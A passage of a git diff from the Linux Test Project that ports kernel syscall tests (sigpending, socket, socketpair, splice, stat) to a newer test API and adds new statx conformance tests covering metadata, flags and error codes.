+				"syscall failed with wrong errno, expected errno=%d, got %d",
+				EFAULT, TST_ERR);
 		} else {
-			tst_brkm(TFAIL, cleanup,
-				 "sigpending() Failed, expected "
-				 "return value=-1, got %ld", TEST_RETURN);
+			tst_res(TPASS | TTERRNO, "expected failure");
 		}
+	} else {
+		tst_res(TFAIL,
+			"syscall failed, expected return value=-1, got %ld",
+			TST_RET);
 	}
-
-    /***************************************************************
-     * cleanup and exit
-     ***************************************************************/
-	cleanup();
-	tst_exit();
-
 }
 
-/***************************************************************
- * help
- ***************************************************************/
-void help(void)
+static void run(void)
 {
-	printf("test\n");
+	test_sigpending();
+	test_efault_on_invalid_sigset();
 }
 
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-	TEST_PAUSE;
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = run
+};
diff --git a/testcases/kernel/syscalls/sigprocmask/.gitignore b/testcases/kernel/syscalls/sigprocmask/.gitignore
new file mode 100644
index 0000000..2e8a4df
--- /dev/null
+++ b/testcases/kernel/syscalls/sigprocmask/.gitignore
@@ -0,0 +1 @@
+/sigprocmask01
diff --git a/testcases/kernel/syscalls/sigrelse/.gitignore b/testcases/kernel/syscalls/sigrelse/.gitignore
new file mode 100644
index 0000000..5a0e9d7
--- /dev/null
+++ b/testcases/kernel/syscalls/sigrelse/.gitignore
@@ -0,0 +1 @@
+/sigrelse01
diff --git a/testcases/kernel/syscalls/sigsuspend/.gitignore b/testcases/kernel/syscalls/sigsuspend/.gitignore
new file mode 100644
index 0000000..46ea52f
--- /dev/null
+++ b/testcases/kernel/syscalls/sigsuspend/.gitignore
@@ -0,0 +1 @@
+/sigsuspend01
diff --git a/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c b/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
index b9542e7..a846f63 100644
--- a/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
+++ b/testcases/kernel/syscalls/sigsuspend/sigsuspend01.c
@@ -121,7 +121,8 @@
 				tst_resm(TFAIL, "sigprocmask() Failed "
 					 "to get previous signal mask "
 					 "of process");
-			} else if (sigset2.__val[0] != sigset1.__val[0]) {
+			} else if (memcmp(&sigset1, &sigset2,
+				   sizeof(unsigned long))) {
 				tst_resm(TFAIL, "sigsuspend failed to "
 					 "preserve signal mask");
 			} else {
diff --git a/testcases/kernel/syscalls/sigtimedwait/.gitignore b/testcases/kernel/syscalls/sigtimedwait/.gitignore
new file mode 100644
index 0000000..e021a30
--- /dev/null
+++ b/testcases/kernel/syscalls/sigtimedwait/.gitignore
@@ -0,0 +1 @@
+/sigtimedwait01
diff --git a/testcases/kernel/syscalls/sigwait/.gitignore b/testcases/kernel/syscalls/sigwait/.gitignore
new file mode 100644
index 0000000..3555e3f
--- /dev/null
+++ b/testcases/kernel/syscalls/sigwait/.gitignore
@@ -0,0 +1 @@
+/sigwait01
diff --git a/testcases/kernel/syscalls/sigwaitinfo/.gitignore b/testcases/kernel/syscalls/sigwaitinfo/.gitignore
new file mode 100644
index 0000000..736b369
--- /dev/null
+++ b/testcases/kernel/syscalls/sigwaitinfo/.gitignore
@@ -0,0 +1 @@
+/sigwaitinfo01
diff --git a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
index 95a9436..3978c49 100644
--- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
@@ -371,19 +371,40 @@
 		tst_brkm(TBROK | TERRNO, NULL, "fork() failed");
 	case 0:
 		signal(SIGSEGV, SIG_DFL);
+
+		/*
+		 * depending on glibc implementation we should
+		 * either crash or get EFAULT
+		 */
 		TEST(sigwaitinfo((void *)1, NULL, NULL));
 
-		_exit(0);
+		if (TEST_RETURN == -1 && TEST_ERRNO == EFAULT)
+			_exit(0);
+
+		tst_resm(TINFO | TTERRNO, "swi_func returned: %ld",
+			TEST_RETURN);
+		_exit(1);
 		break;
 	default:
 		break;
 	}
 
 	SUCCEED_OR_DIE(waitpid, "waitpid failed", pid, &status, 0);
-	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
+
+	if ((WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV)
+		|| (WIFEXITED(status) && WEXITSTATUS(status) == 0)) {
 		tst_resm(TPASS, "Test passed");
-	else
-		tst_resm(TFAIL, "Unrecognised child exit code");
+		return;
+	}
+
+	if (WIFEXITED(status)) {
+		tst_resm(TFAIL, "Unrecognised child exit code: %d",
+			WEXITSTATUS(status));
+	}
+	if (WIFSIGNALED(status)) {
+		tst_resm(TFAIL, "Unrecognised child termsig: %d",
+			WTERMSIG(status));
+	}
 }
 
 void test_bad_address3(swi_func sigwaitinfo, int signo)
@@ -422,9 +443,11 @@
 	{
 	test_masked_matching, my_rt_sigtimedwait, SIGTERM},
 	    /* 4: Simultaneous realtime signals are delivered in the order of increasing signal number */
+#if !(defined(ANDROID) && !defined(__LP64__))
 	{
 	test_masked_matching_rt, my_rt_sigtimedwait, -1},
 #endif
+#endif
 #if defined TEST_SIGWAIT
 	{
 	test_unmasked_matching_noinfo, my_sigwait, SIGUSR1}, {
diff --git a/testcases/kernel/syscalls/socket/.gitignore b/testcases/kernel/syscalls/socket/.gitignore
new file mode 100644
index 0000000..9616911
--- /dev/null
+++ b/testcases/kernel/syscalls/socket/.gitignore
@@ -0,0 +1,2 @@
+/socket01
+/socket02
diff --git a/testcases/kernel/syscalls/socket/socket01.c b/testcases/kernel/syscalls/socket/socket01.c
index 9d2fe4f..6107274 100644
--- a/testcases/kernel/syscalls/socket/socket01.c
+++ b/testcases/kernel/syscalls/socket/socket01.c
@@ -57,19 +57,19 @@
 	struct test_case_t *tc = &tdat[n];
 
 	TEST(fd = socket(tc->domain, tc->type, tc->proto));
-	if (TEST_RETURN >= 0)
-		TEST_RETURN = 0;
+	if (TST_RET >= 0)
+		TST_RET = 0;
 
 	if (fd > 0)
 		SAFE_CLOSE(fd);
 
-	if (TEST_RETURN != tc->retval) {
+	if (TST_RET != tc->retval) {
 		tst_res(TFAIL, "%s returned %d (expected %d)",
 			tc->desc, fd, tc->retval);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->experrno) {
+	if (TST_ERR != tc->experrno) {
 		tst_res(TFAIL | TTERRNO, "expected %s(%d)",
 		        tst_strerrno(tc->experrno), tc->experrno);
 		return;
diff --git a/testcases/kernel/syscalls/socketcall/.gitignore b/testcases/kernel/syscalls/socketcall/.gitignore
new file mode 100644
index 0000000..1c8439a
--- /dev/null
+++ b/testcases/kernel/syscalls/socketcall/.gitignore
@@ -0,0 +1,4 @@
+/socketcall01
+/socketcall02
+/socketcall03
+/socketcall04
diff --git a/testcases/kernel/syscalls/socketcall/socketcall01.c b/testcases/kernel/syscalls/socketcall/socketcall01.c
index 7fe5cbe..f7128a7 100644
--- a/testcases/kernel/syscalls/socketcall/socketcall01.c
+++ b/testcases/kernel/syscalls/socketcall/socketcall01.c
@@ -49,15 +49,15 @@
 {
 	TEST(socketcall(TC[i].call, TC[i].args));
 
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TFAIL | TTERRNO, "socketcall() for %s failed with %li",
-			TC[i].desc, TEST_RETURN);
+			TC[i].desc, TST_RET);
 		return;
 	}
 
 	tst_res(TPASS, "socketcall() for %s", TC[i].desc);
 
-	SAFE_CLOSE(TEST_RETURN);
+	SAFE_CLOSE(TST_RET);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/socketpair/.gitignore b/testcases/kernel/syscalls/socketpair/.gitignore
new file mode 100644
index 0000000..b541aa5
--- /dev/null
+++ b/testcases/kernel/syscalls/socketpair/.gitignore
@@ -0,0 +1,2 @@
+/socketpair01
+/socketpair02
diff --git a/testcases/kernel/syscalls/socketpair/socketpair01.c b/testcases/kernel/syscalls/socketpair/socketpair01.c
index 6729075..a61f268 100644
--- a/testcases/kernel/syscalls/socketpair/socketpair01.c
+++ b/testcases/kernel/syscalls/socketpair/socketpair01.c
@@ -62,18 +62,18 @@
 
 	TEST(socketpair(tc->domain, tc->type, tc->proto, tc->sv));
 
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		SAFE_CLOSE(fds[0]);
 		SAFE_CLOSE(fds[1]);
 	}
 
-	if (TEST_RETURN != tc->retval) {
+	if (TST_RET != tc->retval) {
 		tst_res(TFAIL, "%s returned %ld (expected %d)",
-		        tc->desc, TEST_RETURN, tc->retval);
+			tc->desc, TST_RET, tc->retval);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->experrno) {
+	if (TST_ERR != tc->experrno) {
 		tst_res(TFAIL | TTERRNO, "expected %s(%d)",
 		        tst_strerrno(tc->experrno), tc->experrno);
 		return;
diff --git a/testcases/kernel/syscalls/socketpair/socketpair02.c b/testcases/kernel/syscalls/socketpair/socketpair02.c
index f8057ce..ca24915 100644
--- a/testcases/kernel/syscalls/socketpair/socketpair02.c
+++ b/testcases/kernel/syscalls/socketpair/socketpair02.c
@@ -56,7 +56,7 @@
 
 	TEST(socketpair(PF_UNIX, tc->type, 0, fds));
 
-	if (TEST_RETURN == -1)
+	if (TST_RET == -1)
 		tst_brk(TFAIL | TTERRNO, "socketpair() failed");
 
 	for (i = 0; i < 2; i++) {
diff --git a/testcases/kernel/syscalls/sockioctl/.gitignore b/testcases/kernel/syscalls/sockioctl/.gitignore
new file mode 100644
index 0000000..bcf8f66
--- /dev/null
+++ b/testcases/kernel/syscalls/sockioctl/.gitignore
@@ -0,0 +1 @@
+/sockioctl01
diff --git a/testcases/kernel/syscalls/splice/.gitignore b/testcases/kernel/syscalls/splice/.gitignore
new file mode 100644
index 0000000..a3e502f
--- /dev/null
+++ b/testcases/kernel/syscalls/splice/.gitignore
@@ -0,0 +1,5 @@
+/splice01
+/splice02
+/splice03
+/splice04
+/splice05
diff --git a/testcases/kernel/syscalls/splice/splice02.c b/testcases/kernel/syscalls/splice/splice02.c
index a9ca515..a59703e 100644
--- a/testcases/kernel/syscalls/splice/splice02.c
+++ b/testcases/kernel/syscalls/splice/splice02.c
@@ -40,9 +40,9 @@
 	fd = SAFE_OPEN("splice02-temp", O_WRONLY | O_CREAT | O_TRUNC, 0644);
 
 	TEST(splice(STDIN_FILENO, NULL, fd, NULL, SPLICE_SIZE, 0));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TFAIL, "splice failed - errno = %d : %s",
-			TEST_ERRNO, strerror(TEST_ERRNO));
+			TST_ERR, strerror(TST_ERR));
 	} else {
 		tst_res(TPASS, "splice() system call Passed");
 	}
diff --git a/testcases/kernel/syscalls/splice/splice03.c b/testcases/kernel/syscalls/splice/splice03.c
index 86363dd..12326d2 100644
--- a/testcases/kernel/syscalls/splice/splice03.c
+++ b/testcases/kernel/syscalls/splice/splice03.c
@@ -94,13 +94,13 @@
 	TEST(splice(*(tc->fdin), tc->offin, *(tc->fdout),
 		tc->offout, SPLICE_TEST_LEN, 0));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "splice() returned %ld expected %s",
-			TEST_RETURN, tst_strerrno(tc->exp_errno));
+			TST_RET, tst_strerrno(tc->exp_errno));
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 			"splice() failed unexpectedly; expected: %d - %s",
 			tc->exp_errno, tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/ssetmask/.gitignore b/testcases/kernel/syscalls/ssetmask/.gitignore
new file mode 100644
index 0000000..d756d1f
--- /dev/null
+++ b/testcases/kernel/syscalls/ssetmask/.gitignore
@@ -0,0 +1 @@
+/ssetmask01
diff --git a/testcases/kernel/syscalls/stat/.gitignore b/testcases/kernel/syscalls/stat/.gitignore
new file mode 100644
index 0000000..cb3df91
--- /dev/null
+++ b/testcases/kernel/syscalls/stat/.gitignore
@@ -0,0 +1,10 @@
+/stat01
+/stat01_64
+/stat02
+/stat02_64
+/stat03
+/stat03_64
+/stat05
+/stat05_64
+/stat06
+/stat06_64
diff --git a/testcases/kernel/syscalls/stat/stat03.c b/testcases/kernel/syscalls/stat/stat03.c
index ef3d937..2e4c83a 100644
--- a/testcases/kernel/syscalls/stat/stat03.c
+++ b/testcases/kernel/syscalls/stat/stat03.c
@@ -103,7 +103,6 @@
 struct passwd *ltpuser;
 
 char Longpathname[PATH_MAX + 2];
-char High_address_node[64];
 
 struct test_case_t {		/* test case struct. to hold ref. test cond's */
 	char *pathname;
@@ -111,15 +110,8 @@
 	int exp_errno;
 	int (*setupfunc) ();
 } Test_cases[] = {
-	{
-	TEST_FILE1, "No Search permissions to process", EACCES, setup1},
-#if !defined(UCLINUX)
-	{
-	High_address_node, "Address beyond address space", EFAULT, no_setup},
-	{
-	(char *)-1, "Negative address", EFAULT, no_setup},
-#endif
-	{
+	{TEST_FILE1, "No Search permissions to process", EACCES, setup1}, {
+	NULL, "Invalid address", EFAULT, no_setup}, {
 	Longpathname, "Pathname too long", ENAMETOOLONG, longpath_setup}, {
 	"", "Pathname is empty", ENOENT, no_setup}, {
 	TEST_FILE2, "Path contains regular file", ENOTDIR, setup2}, {
@@ -129,8 +121,6 @@
 char *TCID = "stat03";
 int TST_TOTAL = ARRAY_SIZE(Test_cases);
 
-char *bad_addr = 0;
-
 void setup();			/* Main setup function for the tests */
 void cleanup();			/* cleanup function for the test */
 
@@ -158,12 +148,6 @@
 			file_name = Test_cases[ind].pathname;
 			test_desc = Test_cases[ind].desc;
 
-#if !defined(UCLINUX)
-			if (file_name == High_address_node) {
-				file_name = (char *)get_high_address();
-			}
-#endif
-
 			/*
 			 * Call stat(2) to test different test conditions.
 			 * verify that it fails with -1 return value and
@@ -237,17 +221,10 @@
 	/* Make a temp dir and cd to it */
 	tst_tmpdir();
 
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	Test_cases[2].pathname = bad_addr;
-#endif
-
 	/* call individual setup functions */
 	for (ind = 0; Test_cases[ind].desc != NULL; ind++) {
+		if (!Test_cases[ind].pathname)
+			Test_cases[ind].pathname = tst_get_bad_addr(cleanup);
 		Test_cases[ind].setupfunc();
 	}
 }
diff --git a/testcases/kernel/syscalls/statfs/.gitignore b/testcases/kernel/syscalls/statfs/.gitignore
new file mode 100644
index 0000000..77f7fb4
--- /dev/null
+++ b/testcases/kernel/syscalls/statfs/.gitignore
@@ -0,0 +1,6 @@
+/statfs01
+/statfs01_64
+/statfs02
+/statfs02_64
+/statfs03
+/statfs03_64
diff --git a/testcases/kernel/syscalls/statvfs/.gitignore b/testcases/kernel/syscalls/statvfs/.gitignore
new file mode 100644
index 0000000..aa1cdce
--- /dev/null
+++ b/testcases/kernel/syscalls/statvfs/.gitignore
@@ -0,0 +1,2 @@
+/statvfs01
+/statvfs02
diff --git a/testcases/kernel/syscalls/statx/.gitignore b/testcases/kernel/syscalls/statx/.gitignore
new file mode 100644
index 0000000..c1cedda
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/.gitignore
@@ -0,0 +1,6 @@
+/statx01
+/statx02
+/statx03
+/statx04
+/statx05
+/statx06
diff --git a/testcases/kernel/syscalls/statx/Makefile b/testcases/kernel/syscalls/statx/Makefile
new file mode 100644
index 0000000..1be0bc8
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/Makefile
@@ -0,0 +1,28 @@
+#
+#  Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+#  Email: code@zilogic.com
+#
+#  This program is free software;  you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+#  the GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program;  if not, write to the Free Software
+#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+%_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+statx06: LDLIBS += -lrt
diff --git a/testcases/kernel/syscalls/statx/statx01.c b/testcases/kernel/syscalls/statx/statx01.c
new file mode 100644
index 0000000..23ea99b
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx01.c
@@ -0,0 +1,169 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+
+/*
+ * Test statx
+ *
+ * This code tests the functionality of statx system call.
+ *
+ * TESTCASE 1:
+ * The metadata for normal file are tested against predefined values:
+ * 1) gid
+ * 2) uid
+ * 3) mode
+ * 4) blocks
+ * 5) size
+ *
+ * A file is created and metadata values are set with
+ * predefined values.
+ * Then the values obtained using statx is checked against
+ * the predefined values.
+ *
+ * TESTCASE 2:
+ * The metadata for device file are tested against predefined values:
+ * 1) MAJOR number
+ * 2) MINOR number
+ *
+ * A device file is created seperately using mknod(must be a root user).
+ * The major number and minor number are set while creation.
+ * Major and minor numbers obtained using statx is checked against
+ * predefined values.
+ * Minimum kernel version required is 4.11.
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/sysmacros.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "lapi/stat.h"
+#include <string.h>
+#include <inttypes.h>
+
+#define TESTFILE "test_file"
+#define MNTPOINT "mntpoint/"
+#define DEVICEFILE MNTPOINT"blk_dev"
+#define MODE 0644
+
+#define SIZE 256
+#define MAJOR 8
+#define MINOR 1
+
+static void test_normal_file(void)
+{
+	struct statx buff;
+
+	TEST(statx(AT_FDCWD, TESTFILE, 0, 0, &buff));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"statx(AT_FDCWD, %s, 0, 0, &buff)", TESTFILE);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"statx(AT_FDCWD, %s, 0, 0, &buff)", TESTFILE);
+
+	if (geteuid() == buff.stx_uid)
+		tst_res(TPASS, "stx_uid(%u) is correct", buff.stx_uid);
+	else
+		tst_res(TFAIL, "stx_uid(%u) is different from euid(%u)",
+			buff.stx_uid, geteuid());
+
+	if (getegid() == buff.stx_gid)
+		tst_res(TPASS, "stx_gid(%u) is correct", buff.stx_gid);
+	else
+		tst_res(TFAIL, "stx_gid(%u) is different from egid(%u)",
+			buff.stx_gid, getegid());
+
+	if (buff.stx_size == SIZE)
+		tst_res(TPASS,
+			"stx_size(%"PRIu64") is correct", buff.stx_size);
+	else
+		tst_res(TFAIL,
+			"stx_size(%"PRIu64") is different from expected(%u)",
+			buff.stx_size, SIZE);
+
+	if ((buff.stx_mode & ~(S_IFMT)) == MODE)
+		tst_res(TPASS, "stx_mode(%u) is correct", buff.stx_mode);
+	else
+		tst_res(TFAIL, "stx_mode(%u) is different from expected(%u)",
+			buff.stx_mode, MODE);
+
+
+	if (buff.stx_blocks <= buff.stx_blksize/512)
+		tst_res(TPASS, "stx_blocks(%"PRIu64") is valid",
+			buff.stx_blocks);
+	else
+		tst_res(TFAIL, "stx_blocks(%"PRIu64") is invalid",
+			buff.stx_blocks);
+
+}
+
+static void test_device_file(void)
+{
+	struct statx buff;
+
+	TEST(statx(AT_FDCWD, DEVICEFILE, 0, 0, &buff));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"statx(AT_FDCWD, %s, 0, 0, &buff)", DEVICEFILE);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"statx(AT_FDCWD, %s, 0, 0, &buff)", DEVICEFILE);
+
+	if (buff.stx_rdev_major == MAJOR)
+		tst_res(TPASS, "stx_rdev_major(%u) is correct",
+			buff.stx_rdev_major);
+	else
+		tst_res(TFAIL,
+			"stx_rdev_major(%u) is different from expected(%u)",
+			buff.stx_rdev_major, MAJOR);
+
+	if (buff.stx_rdev_minor == MINOR)
+		tst_res(TPASS, "stx_rdev_minor(%u) is correct",
+			buff.stx_rdev_minor);
+	else
+		tst_res(TFAIL,
+			"stx_rdev_minor(%u) is different from expected(%u)",
+			buff.stx_rdev_minor, MINOR);
+}
+
+
+struct tcase {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&test_normal_file},
+	{&test_device_file}
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void setup(void)
+{
+	char data_buff[SIZE];
+	int file_fd;
+
+	memset(data_buff, '@', sizeof(data_buff));
+
+	file_fd =  SAFE_OPEN(TESTFILE, O_RDWR|O_CREAT, MODE);
+	SAFE_WRITE(1, file_fd, data_buff, sizeof(data_buff));
+	SAFE_CLOSE(file_fd);
+
+	SAFE_MKNOD(DEVICEFILE, S_IFBLK | 0777, makedev(MAJOR, MINOR));
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.min_kver = "4.11",
+	.needs_devfs = 1,
+	.mntpoint = MNTPOINT,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/statx/statx02.c b/testcases/kernel/syscalls/statx/statx02.c
new file mode 100644
index 0000000..08ea940
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx02.c
@@ -0,0 +1,128 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+
+/*
+ * Test statx
+ *
+ * This code tests the following flags:
+ * 1) AT_EMPTY_PATH
+ * 2) AT_SYMLINK_NOFOLLOW
+ *
+ * A test file and a link for it is created.
+ *
+ * To check empty path flag, test file fd alone is passed.
+ * Predefined size of testfile is checked against obtained value.
+ *
+ * To check symlink no follow flag, the linkname is statxed.
+ * To ensure that link is not dereferenced, obtained inode is compared
+ * with test file inode.
+ * Minimum kernel version required is 4.11.
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <inttypes.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "lapi/stat.h"
+
+#define TESTFILE "test_temp"
+#define LINK_FILE "test_temp_ln"
+#define MODE 0644
+#define SIZE 14
+
+static int file_fd;
+
+static void test_empty_path(void)
+{
+	struct statx buf;
+
+	TEST(statx(file_fd, "", AT_EMPTY_PATH, 0, &buf));
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"statx(file_fd, \"\", AT_EMPTY_PATH, 0, &buf)");
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"statx(file_fd, \"\", AT_EMPTY_PATH, 0, &buff)");
+
+	if (buf.stx_size == SIZE)
+		tst_res(TPASS,
+			"stx_size(%"PRIu64") is correct", buf.stx_size);
+	else
+		tst_res(TFAIL,
+			"stx_size(%"PRIu64") is not same as expected(%u)",
+			buf.stx_size, SIZE);
+
+}
+
+static void test_sym_link(void)
+{
+	struct statx fbuf;
+	struct statx lbuf;
+
+	TEST(statx(AT_FDCWD, TESTFILE, 0, 0, &fbuf));
+
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"statx(AT_FDCWD, %s, 0, 0, &fbuf)", TESTFILE);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"statx(AT_FDCWD, %s, 0, 0, &fbuf)", TESTFILE);
+
+	TEST(statx(AT_FDCWD, LINK_FILE, AT_SYMLINK_NOFOLLOW, 0, &lbuf));
+
+	if (TST_RET == 0)
+		tst_res(TPASS,
+			"statx(AT_FDCWD, %s, AT_SYMLINK_NOFOLLOW, 0,&lbuf)",
+			LINK_FILE);
+	else
+		tst_brk(TFAIL | TTERRNO,
+			"statx(AT_FDCWD, %s, AT_SYMLINK_NOFOLLOW, 0,&lbuf)",
+			LINK_FILE);
+
+	if (fbuf.stx_ino != lbuf.stx_ino)
+		tst_res(TPASS, "Statx symlink flag worked as expected");
+	else
+		tst_res(TFAIL,
+			"Statx symlink flag failed to work as expected");
+}
+
+struct tcase {
+	void (*tfunc)(void);
+} tcases[] = {
+	{&test_empty_path},
+	{&test_sym_link}
+};
+
+static void run(unsigned int i)
+{
+	tcases[i].tfunc();
+}
+
+static void setup(void)
+{
+	char data_buf[SIZE] = "LinusTorvalds";
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, MODE);
+	SAFE_WRITE(0, file_fd, data_buf, sizeof(data_buf));
+
+	SAFE_SYMLINK(TESTFILE, LINK_FILE);
+}
+
+static void cleanup(void)
+{
+	if (file_fd > 0)
+		SAFE_CLOSE(file_fd);
+}
+
+static struct tst_test test = {
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "4.11",
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/statx/statx03.c b/testcases/kernel/syscalls/statx/statx03.c
new file mode 100644
index 0000000..c72d7fe
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx03.c
@@ -0,0 +1,118 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+
+/*
+ * Test statx
+ *
+ * This code tests if expected error values are returned for specific cases by
+ * statx.
+ * The error cases are simulated and the return value is checked against
+ * expected error number value.
+ * The following error values are tested:
+ * 1) EBADF - Bad file descriptor
+ * 2) EFAULT - Bad address
+ * 3) EINVAL - Invalid argument
+ * 4) ENOENT - No such file or directory
+ * 5) ENOTDIR - Not a directory
+ * 6) ENAMETOOLONG - Filename too long
+ *
+ * Error scenario is simulated for each listed flag by passing
+ * respective arguments.
+ * The obtained error flag is checked against the expected
+ * flag value for that scenario.
+ *
+ * Minimum Kernel version required is 4.11.
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "tst_get_bad_addr.h"
+#include "lapi/stat.h"
+
+#define TESTFILE "test_file"
+#define MODE 0644
+
+static char long_pathname[257];
+
+static char *test_fname = TESTFILE;
+static char *efault_fname;
+static char *empty_fname = "";
+static char *etoolong_fname = long_pathname;
+
+static struct test_case {
+	uint32_t dfd;
+	char **filename;
+	uint32_t flag;
+	uint32_t mask;
+	int32_t errnum;
+} tcases[] = {
+	{.dfd = -1, .filename = &test_fname, .flag = 0,
+	 .mask = 0, .errnum = EBADF},
+
+	{.dfd = AT_FDCWD, .filename = &efault_fname, .flag = 0,
+	 .mask = 0, .errnum = EFAULT},
+
+	{.dfd = AT_FDCWD, .filename = &test_fname, .flag = -1,
+	 .mask = 0, .errnum = EINVAL},
+
+	{.dfd = AT_FDCWD, .filename = &test_fname, .flag = 0,
+	 .mask = -1, .errnum = EINVAL},
+
+	{.dfd = AT_FDCWD, .filename = &empty_fname, .flag = 0,
+	 .mask = 0, .errnum = ENOENT},
+
+	{.dfd = 1, .filename = &test_fname, .flag = 0,
+	 .mask = 0, .errnum = ENOTDIR},
+
+	{.dfd = AT_FDCWD, .filename = &etoolong_fname, .flag = 0,
+	 .mask = 0, .errnum = ENAMETOOLONG},
+};
+
+static void run_test(unsigned int i)
+{
+	struct statx buf;
+	struct test_case *tc = &tcases[i];
+
+	TEST(statx(tc->dfd, *(tc->filename), tc->flag,
+		   tc->mask, &buf));
+
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "statx() returned with %ld", TST_RET);
+		return;
+	}
+
+	if (tc->errnum == TST_ERR) {
+		tst_res(TPASS | TTERRNO, "statx() failed with");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO,
+		"statx() should fail with %s", tst_strerrno(tc->errnum));
+}
+
+static void setup(void)
+{
+	int file_fd;
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, MODE);
+	SAFE_CLOSE(file_fd);
+
+	memset(long_pathname, '@', sizeof(long_pathname));
+	long_pathname[sizeof(long_pathname) - 1] = 0;
+
+	efault_fname = tst_get_bad_addr(NULL);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run_test,
+	.setup = setup,
+	.min_kver = "4.11",
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/statx/statx04.c b/testcases/kernel/syscalls/statx/statx04.c
new file mode 100644
index 0000000..71de734
--- /dev/null
+++ b/testcases/kernel/syscalls/statx/statx04.c
@@ -0,0 +1,186 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
+ * Email: code@zilogic.com
+ */
+
+/*
+ * Test statx
+ *
+ * This code tests if the attributes field of statx received expected value.
+ * File set with following flags by using SAFE_IOCTL:
+ * 1) STATX_ATTR_COMPRESSED - The file is compressed by the filesystem.
+ * 2) STATX_ATTR_IMMUTABLE - The file cannot be modified.
+ * 3) STATX_ATTR_APPEND - The file can only be opened in append mode for
+ *                        writing.
+ * 4) STATX_ATTR_NODUMP - File is not a candidate for backup when a backup
+ *                        program such as dump(8) is run.
+ *
+ * Two directories are tested.
